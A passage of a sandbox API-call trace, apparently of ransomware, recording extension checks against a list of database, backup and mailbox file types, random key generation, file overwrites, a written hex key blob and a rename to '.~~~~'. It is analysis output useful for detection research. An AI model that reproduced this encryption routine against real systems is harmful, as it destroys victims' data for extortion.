	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DB3") returned 0x0
	[0086.744] lstrlenW (lpString=".DAT") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DAT") returned 0x0
	[0086.745] lstrlenW (lpString=".VHDX") returned 5
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".VHDX") returned 0x0
	[0086.745] lstrlenW (lpString=".ndf") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".ndf") returned 0x0
	[0086.745] lstrlenW (lpString=".DB") returned 3
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DB") returned 0x0
	[0086.745] lstrlenW (lpString=".sql") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".sql") returned 0x0
	[0086.745] lstrlenW (lpString=".MYD") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".MYD") returned 0x0
	[0086.745] lstrlenW (lpString=".DBT") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DBT") returned 0x0
	[0086.745] lstrlenW (lpString=".ACCDB") returned 6
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".ACCDB") returned 0x0
	[0086.745] lstrlenW (lpString=".fdb") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".fdb") returned 0x0
	[0086.745] lstrlenW (lpString=".bak") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".bak") returned 0x0
	[0086.745] lstrlenW (lpString=".myd") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".myd") returned 0x0
	[0086.745] lstrlenW (lpString=".DTXS") returned 5
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DTXS") returned 0x0
	[0086.745] lstrlenW (lpString=".ckp") returned 4
	[0086.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".ckp") returned 0x0
	[0086.745] lstrlenW (lpString=".dbt") returned 4
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dbt") returned 0x0
	[0086.746] lstrlenW (lpString=".db") returned 3
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".db") returned 0x0
	[0086.746] lstrlenW (lpString=".TXT") returned 4
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".TXT") returned 0x0
	[0086.746] lstrlenW (lpString=".MDF") returned 4
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".MDF") returned 0x0
	[0086.746] lstrlenW (lpString=".bdb") returned 4
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".bdb") returned 0x0
	[0086.746] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.746] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.779] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.779] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0086.779] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20676891794) returned 1
	[0086.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d883730, dwHighDateTime=0x1d60e1e)) 
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839258
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839258 | out: hHeap=0x300000) returned 1
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6220
	[0086.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6220 | out: hHeap=0x300000) returned 1
	[0086.779] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.779] GetLastError () returned 0x0
	[0086.780] GetLastError () returned 0x0
	[0086.780] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.780] GetLastError () returned 0x0
	[0086.780] GetLastError () returned 0x0
	[0086.803] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.803] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.804] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.805] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.805] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.805] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.805] CloseHandle (hObject=0x128) returned 1
	[0086.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll.~~~~")) returned 1
	[0086.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0086.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.807] GetLastError () returned 0x0
	[0086.807] lstrlenW (lpString=".sqb") returned 4
	[0086.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".sqb") returned 0x0
	[0086.807] lstrlenW (lpString=".ost") returned 4
	[0086.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".ost") returned 0x0
	[0086.807] lstrlenW (lpString=".txt") returned 4
	[0086.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".txt") returned 0x0
	[0086.807] lstrlenW (lpString=".mdt") returned 4
	[0086.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".mdt") returned 0x0
	[0086.807] lstrlenW (lpString=".BDB") returned 4
	[0086.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".BDB") returned 0x0
	[0086.807] lstrlenW (lpString=".eql") returned 4
	[0086.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".eql") returned 0x0
	[0086.807] lstrlenW (lpString=".DBF") returned 4
	[0086.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DBF") returned 0x0
	[0086.808] lstrlenW (lpString=".EQL") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".EQL") returned 0x0
	[0086.808] lstrlenW (lpString=".FDB") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".FDB") returned 0x0
	[0086.808] lstrlenW (lpString=".EDB") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".EDB") returned 0x0
	[0086.808] lstrlenW (lpString=".DACPAC") returned 7
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DACPAC") returned 0x0
	[0086.808] lstrlenW (lpString=".VHD") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".VHD") returned 0x0
	[0086.808] lstrlenW (lpString=".DBV") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DBV") returned 0x0
	[0086.808] lstrlenW (lpString=".dacpac") returned 7
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dacpac") returned 0x0
	[0086.808] lstrlenW (lpString=".sdf") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".sdf") returned 0x0
	[0086.808] lstrlenW (lpString=".accdb") returned 6
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".accdb") returned 0x0
	[0086.808] lstrlenW (lpString=".DBX") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DBX") returned 0x0
	[0086.808] lstrlenW (lpString=".MDT") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".MDT") returned 0x0
	[0086.808] lstrlenW (lpString=".SQB") returned 4
	[0086.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".SQB") returned 0x0
	[0086.808] lstrlenW (lpString=".vhd") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".vhd") returned 0x0
	[0086.809] lstrlenW (lpString=".bac") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".bac") returned 0x0
	[0086.809] lstrlenW (lpString=".mdf") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".mdf") returned 0x0
	[0086.809] lstrlenW (lpString=".BAK") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".BAK") returned 0x0
	[0086.809] lstrlenW (lpString=".BAC") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".BAC") returned 0x0
	[0086.809] lstrlenW (lpString=".dbs") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dbs") returned 0x0
	[0086.809] lstrlenW (lpString=".vhdx") returned 5
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".vhdx") returned 0x0
	[0086.809] lstrlenW (lpString=".NDF") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".NDF") returned 0x0
	[0086.809] lstrlenW (lpString=".dat") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dat") returned 0x0
	[0086.809] lstrlenW (lpString=".DBS") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DBS") returned 0x0
	[0086.809] lstrlenW (lpString=".CKP") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".CKP") returned 0x0
	[0086.809] lstrlenW (lpString=".edb") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".edb") returned 0x0
	[0086.809] lstrlenW (lpString=".PST") returned 4
	[0086.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".PST") returned 0x0
	[0086.809] lstrlenW (lpString=".dbf") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dbf") returned 0x0
	[0086.810] lstrlenW (lpString=".SQL") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".SQL") returned 0x0
	[0086.810] lstrlenW (lpString=".pst") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".pst") returned 0x0
	[0086.810] lstrlenW (lpString=".dbv") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dbv") returned 0x0
	[0086.810] lstrlenW (lpString=".SDF") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".SDF") returned 0x0
	[0086.810] lstrlenW (lpString=".dtxs") returned 5
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dtxs") returned 0x0
	[0086.810] lstrlenW (lpString=".db3") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".db3") returned 0x0
	[0086.810] lstrlenW (lpString=".OST") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".OST") returned 0x0
	[0086.810] lstrlenW (lpString=".dbx") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dbx") returned 0x0
	[0086.810] lstrlenW (lpString=".DB3") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DB3") returned 0x0
	[0086.810] lstrlenW (lpString=".DAT") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DAT") returned 0x0
	[0086.810] lstrlenW (lpString=".VHDX") returned 5
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".VHDX") returned 0x0
	[0086.810] lstrlenW (lpString=".ndf") returned 4
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".ndf") returned 0x0
	[0086.810] lstrlenW (lpString=".DB") returned 3
	[0086.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DB") returned 0x0
	[0086.811] lstrlenW (lpString=".sql") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".sql") returned 0x0
	[0086.811] lstrlenW (lpString=".MYD") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".MYD") returned 0x0
	[0086.811] lstrlenW (lpString=".DBT") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DBT") returned 0x0
	[0086.811] lstrlenW (lpString=".ACCDB") returned 6
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".ACCDB") returned 0x0
	[0086.811] lstrlenW (lpString=".fdb") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".fdb") returned 0x0
	[0086.811] lstrlenW (lpString=".bak") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".bak") returned 0x0
	[0086.811] lstrlenW (lpString=".myd") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".myd") returned 0x0
	[0086.811] lstrlenW (lpString=".DTXS") returned 5
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".DTXS") returned 0x0
	[0086.811] lstrlenW (lpString=".ckp") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".ckp") returned 0x0
	[0086.811] lstrlenW (lpString=".dbt") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".dbt") returned 0x0
	[0086.811] lstrlenW (lpString=".db") returned 3
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".db") returned 0x0
	[0086.811] lstrlenW (lpString=".TXT") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".TXT") returned 0x0
	[0086.811] lstrlenW (lpString=".MDF") returned 4
	[0086.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".MDF") returned 0x0
	[0086.811] lstrlenW (lpString=".bdb") returned 4
	[0086.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".bdb") returned 0x0
	[0086.812] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.812] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.813] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.813] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0086.813] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20680291679) returned 1
	[0086.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d8cf9f0, dwHighDateTime=0x1d60e1e)) 
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b218
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b218 | out: hHeap=0x300000) returned 1
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b66b8
	[0086.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0086.813] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.814] GetLastError () returned 0x0
	[0086.814] GetLastError () returned 0x0
